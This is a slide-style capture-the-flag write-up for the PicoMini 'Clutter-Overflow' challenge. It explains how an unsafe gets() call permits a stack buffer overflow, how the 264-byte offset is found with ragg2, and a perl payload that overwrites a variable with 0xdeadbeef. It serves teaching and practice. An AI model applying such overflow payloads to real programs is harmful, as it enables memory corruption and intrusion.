

PicoMini by Redpwn

Clutter-Overflow

```
if (code == GOAL) {  
    printf("code = 0x%llx: how did that happen??\n", GOAL);  
    puts("take a flag for your troubles");  
    system("cat flag.txt");  
}
```

This challenge is an example of a variable overwrite binary hacking challenge

Variable Overwrite Challenges

```
if (code = GOAL) {  
    printf("code = 0x%llx: how did that happen??\n", GOAL);  
    puts("take a flag for your troubles");  
    system("cat flag.txt");  
}
```

According to the source code, if the `code` variable matches the `GOAL` value, then the `flag.txt` file contents are revealed to us

Variable Overwrite Challenges

```
long code = 0;
```

```
#define GOAL 0xdeadbeef
```

code is initially set to 0, and the GOAL value is 0xdeadbeef. The program doesn't give us a normal way to set the code variable, so we need to find a way to modify the value

Vulnerable C Function: Gets

```
gets(clutter);
```

```
char clutter[SIZE];
```

```
#define SIZE 0x100
```

This binary uses the unsafe `gets` function to save user input to the `clutter` array, with a max buffer size of `0x100` bytes, which is 256 in decimal notation

Vulnerable C Function: Gets

```
gets(clutter);
```

```
char clutter[SIZE];
```

```
#define SIZE 0x100
```

Since the `gets` function doesn't check the size of the user input before writing it to memory, input in excess of 256 bytes will overflow into other memory addresses

Vulnerable C Function: Gets

```
gets(clutter);
```

```
char clutter[SIZE];
```

```
#define SIZE 0x100
```

The clutter variable is saved to the memory stack, and overflow here to affect program execution is known as a stack buffer overflow attack

Stack Buffer Overflow

The memory stack is the part of program memory which stores temporary data during program execution

Address	Values
00000000	Program Data
00000010	Init Vars
00000020	Uninit Vars
00000030	Memory Heap
00000040	
00000050	
00000060	Memory Stack

Stack Buffer Overflow

As the memory stack grows, it progresses towards lower addresses in program memory

Address	Values
00000000	Program Data
00000010	Init Vars
00000020	Uninit Vars
00000030	Memory Heap
00000040	
00000050	
00000060	Memory Stack

Stack Buffer Overflow

In the case of stack buffer overflow, it may be possible to overwrite other program variables, such as the code variable

Address	Values
00000000	Program Data
00000010	Init Vars
00000020	Uninit Vars
00000030	Memory Heap
00000040	
00000050	
00000060	Memory Stack

Stack Buffer Variable Overwrite

Address	Values
00000000	Program Data
00000010	
00000020	Code Variable
00000030	
00000040	Clutter Variable
00000050	Memory Stack Start

If the `code` variable is written to the memory stack before the `clutter` variable, then we could overflow data on the stack to overwrite `code`

Finding the Overflow Offset

```
char clutter[SIZE];
```

```
#define SIZE 0x100
```

In any buffer overflow attack, we need to know how many bytes we need to send to the binary to reach the memory location we want to overwrite.

This number of bytes is the offset

Finding the Overflow Offset Value

```
└─$ ragg2 -P 300 -r  
AAABAACAADAAEAFAAGAA
```

```
└─$ ragg2 -q 0x4164424163424162  
Little endian: 264
```

We can create a pattern of characters to send to the binary to determine the offset value

Sending the Payload

```
perl -e 'print "A" x 264 . "\xef\xbe\xad\xde"'
```

Once we know the offset, we can send the offset,
then append the correct bytes to overwrite the
code variable

Sending the Payload

```
perl -e 'print "A" x 264 . "\xef\xbe\xad\xde"'
```

The data bytes we need to send are 0xdeadbeef, and each byte is two hex digits, de, ad, be, ef. But since this binary was compiled little endian byte order, we need to feed in the bytes in reverse order: ef, be, ad, de